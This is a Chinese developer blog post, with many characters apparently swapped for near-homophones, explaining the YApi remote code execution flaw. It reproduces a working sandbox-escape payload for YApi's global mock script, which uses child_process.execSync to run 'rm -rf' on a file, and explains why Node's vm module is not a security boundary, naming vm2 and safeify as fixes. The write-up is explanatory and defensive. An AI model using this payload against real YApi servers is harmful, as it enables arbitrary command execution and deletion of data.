事件是这样的,因为咱们我的项目应用了这个 Yapi 我的项目,前几天收到了平安组的预警告诉,说 Yapi 被爆出了安全漏洞,新注册的用户,能够在你的服务器执行任意代码,删除任意货色,让我紧急批改!!
心想这么大个开源我的项目(21.7k),竟然有这么重大的安全漏洞,不应该呀。
置信很多小伙伴都用过这款开源软件来用作接口管理工具,然而为了避免有一些小伙伴不晓得这个库是干嘛的,我就大略介绍一下。
YApi(https://github.com/YMFE/yapi)是 高效 、 易用 、 功能强大 的 api 治理平台,旨在为开发、产品、测试人员提供更优雅的接口治理服务。能够帮忙开发者轻松创立、公布、保护 API,YApi 还为用户提供了优良的交互体验,开发人员只需利用平台提供的接口数据写入工具以及简略的点击操作就能够实现接口的治理。
它不仅反对 docker 部署,而且还有很多插件能够应用,例如自动化测试插件、主动生成代码等等性能。
嗯,接着说,我于是就拿着平安组的复现门路来复现 Yapi 的破绽。
首先我在我的 /Users/qiufeng/my/yapi
的目录下创立了一个 1.js
。
而后关上 Yapi 一个我的项目 —— 点击设置 ——全局 mock 脚本,而后配置一下
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockjson = process.mainModule.require("child_process").execSync("rm -rf /Users/qiufeng/my/yapi/1.js").toString()
紧接着,拜访咱们的全局 mock 地址
最初,咱们发现咱们的1.js
没了
于是我立马在 Google 搜 Yapi 安全漏洞,发现网上曾经炸了锅了,一堆受害者,就连大连理工大学都发了申明,要求立马整改相干的代码。
大家被挖矿的挖矿,被移植木马的移植木马。
而后咱们来看看如何来修复这个安全漏洞。官网次要是通过合并了一个 PR 来修复了这个问题。
而修复这个破绽的次要代码就是应用了 safeify
替换了 Node.js 的 vm
哦,原来是用了 vm
模块呀,在这里也给大家遍及一下 vm
的常识,咱们来看看 Node.js
官网是怎么定义的。
vm 模块容许在 V8 虚拟机上下文中编译和运行代码(The
vm
module enables compiling and running code within V8 Virtual Machine contexts.)。vm 模块不是一种平安机制。不要应用它来运行不受信赖的代码。
艰深的了解就是它可能动静的执行一些 JavaScript 代码(和 eval
、Function
有些相似)。当然,官网也明确指出了 vm
模块的安全性。
那么 vm
有的和一般的 eval
、Function
有什么区别吗?那当然是有的了,首先 eval 最大问题就是侵入性问题,因为 eval 的执行会侵入我以后的代码。而 vm
则提供了一种更加平安的沙盒环境。
首先能够应用 vm.Script
办法构建一个脚本对象:new vm.Script(code[, options])
,API 能够总结为上面三个:
script.runInThisContext(opts)
– 在以后作用域中运行脚本,也就是说,脚本能够拜访以后脚本的全局变量,而不是部分作用域。script.runInContext(context, opts)
– 在提供的作用域中运行脚本,作用域是某个vm.createContext
的后果。在script.runInContext
中,您能够提供一个自定义可控 sandbox。script.runInNewContext(sandbox, opts)
– 在一个新的 sandbox 的作用域范畴内运行脚本。即runInNewContext
会为您主动调用vm.createContext
。
示例如下:
const vm = require('vm');
vm.runInThisContext(code, opts);
vm.runInNewContext(code, sandbox, opts);
vm.runInContext(code, context, opts);
vm
通过可选项的作用域来实现沙盒的个性,一次来断绝内外影响。
那么到当初为止,仿佛看起来vm
是平安的才对呀,为什么会产生此次安全漏洞事件呢?
究其原因,还是因为 js 的个性 …
先来看一段代码
const vm = require('vm');
vm.runInNewContext('this.constructor.constructor("return process")().exit()');
这是一段看起来乌七八糟的代码,然而可别小瞧了这段代码,这段代码能够间接能让你的程序退出。
而后咱们来一步一步剖析,咱们将 runInNewContext
开展。
const vm = require('vm');
const sandbox = {};
const script = new vm.Script('this.constructor.constructor("return process")().exit()');
const context = vm.createContext(sandbox);
script.runInContext(context);
咱们能够看到,创立 vm
环境,首先须要创立一个 sandbox 对象,而后这个对象就是 vm
执行脚本中的全局 Context,vm
的 this 指向 sandbox
。
因为下面的代码也能够拆解成这样。
const vm = require('vm');
const sandbox = {};
const ObjectConstructor = sandbox.constructor; // 获取 Object 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor; // 获取 Function 对象构造函数
const foo = FunctionConstructor('return process'); // 结构一个函数,返回 process 全局变量
const process = foo();
process.exit();
由这个推导过程咱们就能够很容地得出,vm
不平安的起因,首先 因为 this 指向了 sandbox,而 sandbox 是一个对象,对象的 constructor 为 Object 的构造函数,Object 的构造函数的 constructor 则为 Function 的 构造函数。
因为咱们想要解决这个问题,能够应用更平安的 vm2
或者 safeify
。下次来剖析剖析这两个库的源码,它们是如何来杜绝 vm
的毛病的。
相干链接
https://segmentfault.com/a/11…
https://github.com/YMFE/yapi/…
回看笔者往期高赞文章,兴许能播种更多喔!
- 2021 前端学习门路书单—自我成长之路:
570+
点赞量 - 从破解某设计网站谈前端水印 (具体教程):
790+
点赞量 - 一文带你层层解锁「文件下载」的神秘:
140+
点赞量 - 10 种跨域解决方案(附终极大招):
940+
点赞量
结语
❤️关注 + 点赞 + 珍藏 + 评论 + 转发❤️ ,原创不易,激励笔者创作更好的文章
关注公众号 秋风的笔记
,一个专一于前端面试、工程化、开源的前端公众号